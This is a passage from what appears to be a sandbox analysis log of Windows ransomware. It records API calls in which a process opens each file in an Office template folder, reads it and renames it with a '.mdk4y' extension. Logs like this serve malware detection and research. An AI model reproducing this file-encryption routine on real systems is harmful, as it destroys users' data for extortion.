lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc.mdk4y")) returned 1 [0240.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.102] AreFileApisANSI () returned 1 [0240.102] GetACP () returned 0x4e4 [0240.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CERT98SP.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CERT98SP.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0240.102] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831533400000) returned 1 [0240.104] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53bc, lpOverlapped=0x0) returned 1 [0240.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831535700000) returned 1 [0240.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831535700000) returned 1 [0240.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98sp.poc.mdk4y")) returned 1 [0240.130] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.130] AreFileApisANSI () returned 1 [0240.130] GetACP () returned 0x4e4 [0240.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHECKER.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CHECKER.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0240.130] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\checker.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831536200000) returned 1 [0240.132] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x170e, lpOverlapped=0x0) returned 1 [0240.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831537700000) returned 1 [0240.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831537700000) returned 1 [0240.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\checker.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\checker.poc.mdk4y")) returned 1 [0240.149] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.149] AreFileApisANSI () returned 1 [0240.149] GetACP () returned 0x4e4 [0240.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACTINFOBB.DPV", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CONTACTINFOBB.DPVf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 17 [0240.150] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831538300000) returned 1 [0240.153] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2808, lpOverlapped=0x0) returned 1 [0240.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831543700000) returned 1 [0240.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831543800000) returned 1 [0240.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.dpv.mdk4y")) returned 1 [0240.211] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.211] AreFileApisANSI () returned 1 [0240.211] GetACP () returned 0x4e4 [0240.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACTINFOBB.POC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CONTACTINFOBB.POC", lpUsedDefaultChar=0x37df4c) returned 17 [0240.211] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831544200000) returned 1 [0240.212] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ce8, lpOverlapped=0x0) returned 1 [0240.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831544300000) returned 1 [0240.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831544300000) returned 1 [0240.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.poc.mdk4y")) returned 1 [0240.215] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.215] AreFileApisANSI () returned 1 [0240.215] GetACP () returned 0x4e4 [0240.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COUPON.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="COUPON.POCOBB.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0240.215] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\coupon.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831544800000) returned 1 [0240.218] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc692, lpOverlapped=0x0) returned 1 [0240.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831547300000) returned 1 [0240.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831547300000) returned 1 [0240.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\coupon.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\coupon.poc.mdk4y")) returned 1 [0240.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.247] AreFileApisANSI () returned 1 [0240.247] GetACP () returned 0x4e4 [0240.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGACCBAR.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGACCBAR.DPVB.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0240.247] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831547900000) returned 1 [0240.249] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a00, lpOverlapped=0x0) returned 1 [0240.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831550500000) returned 1 [0240.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831550600000) returned 1 [0240.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.dpv.mdk4y")) returned 1 [0240.280] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.280] AreFileApisANSI () returned 1 [0240.280] GetACP () returned 0x4e4 [0240.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGACCBAR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGACCBAR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0240.280] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831551200000) returned 1 [0240.283] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb22, lpOverlapped=0x0) returned 1 [0240.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831554500000) returned 1 [0240.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831554500000) returned 1 [0240.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.mdk4y")) returned 1 [0240.318] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.318] AreFileApisANSI () returned 1 [0240.318] GetACP () returned 0x4e4 [0240.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGACCBOX.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGACCBOX.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0240.318] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831554900000) returned 1 [0240.319] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1200, lpOverlapped=0x0) returned 1 [0240.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831563800000) returned 1 [0240.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831563800000) returned 1 [0240.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.dpv.mdk4y")) returned 1 [0240.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.410] AreFileApisANSI () returned 1 [0240.410] GetACP () returned 0x4e4 [0240.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGACCBOX.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGACCBOX.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0240.410] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831564300000) returned 1 [0240.413] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34e, lpOverlapped=0x0) returned 1 [0240.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831576100000) returned 1 [0240.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831576100000) returned 1 [0240.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.mdk4y")) returned 1 [0240.534] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.534] AreFileApisANSI () returned 1 [0240.534] GetACP () returned 0x4e4 [0240.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGAD.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGAD.DPV.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0240.534] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831576600000) returned 1 [0240.536] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b2c, lpOverlapped=0x0) returned 1 [0240.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831576700000) returned 1 [0240.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831576700000) returned 1 [0240.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.dpv.mdk4y")) returned 1 [0240.539] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.539] AreFileApisANSI () returned 1 [0240.539] GetACP () returned 0x4e4 [0240.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGAD.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGAD.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0240.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831577100000) returned 1 [0240.541] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3be, lpOverlapped=0x0) returned 1 [0240.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831583700000) returned 1 [0240.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831583700000) returned 1 [0240.607] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.mdk4y")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.609] AreFileApisANSI () returned 1 [0240.609] GetACP () returned 0x4e4 [0240.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGATNGET.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGATNGET.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0240.609] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831584100000) returned 1 [0240.611] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5269, lpOverlapped=0x0) returned 1 [0240.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831615300000) returned 1 [0240.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831615400000) returned 1 [0240.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.dpv.mdk4y")) returned 1 [0240.926] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.926] AreFileApisANSI () returned 1 [0240.926] GetACP () returned 0x4e4 [0240.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGATNGET.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGATNGET.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0240.926] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831615700000) returned 1 [0240.927] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x145a, lpOverlapped=0x0) returned 1 [0240.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831615800000) returned 1 [0240.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831615800000) returned 1 [0240.936] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.mdk4y")) returned 1 [0240.937] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.937] AreFileApisANSI () returned 1 [0240.937] GetACP () returned 0x4e4 [0240.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBARBLL.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBARBLL.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0240.937] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831616800000) returned 1 [0240.938] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe00, lpOverlapped=0x0) returned 1 [0240.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831622600000) returned 1 [0240.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831622600000) returned 1 [0240.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.dpv"), lpNewFileName="C:\\Program Files\\Microsoft 